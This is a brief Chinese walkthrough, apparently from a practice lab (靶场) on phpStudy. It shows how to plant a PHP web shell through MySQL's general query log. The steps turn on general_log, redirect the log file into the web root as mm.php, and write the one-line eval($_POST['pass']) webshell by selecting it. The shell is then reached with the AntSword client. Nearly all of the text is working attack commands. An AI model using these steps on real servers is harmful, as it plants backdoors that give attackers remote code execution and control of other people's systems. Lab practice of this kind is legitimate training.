从小皮登入靶场后输入账号密码进入靶场
点击sql框进行注入
查询日志
set global general_log="on"
SET GLOBAL general_log="ON";
是一条SQL语句,用于在MySQL数据库中启用全局查询日志(General Query Log)。这个日志记录了MySQL服务器接收到的每一个客户端请求,包括连接和断开连接的请求、SQL语句的执行等。这对于监控数据库活动、审计或调试是非常有用的。
改变日志存储位置(mm.php为事先做好的一句话木马)
set global generallogfile = "D://phpstudy_pro/WWW/mm.php";
查询一句话木马
select "<?php eval($_POST['pass'])?>";
查看日志,发现一句话木马
访问php文件,并使用蚁剑进行连接
连接成功~~~~~~~~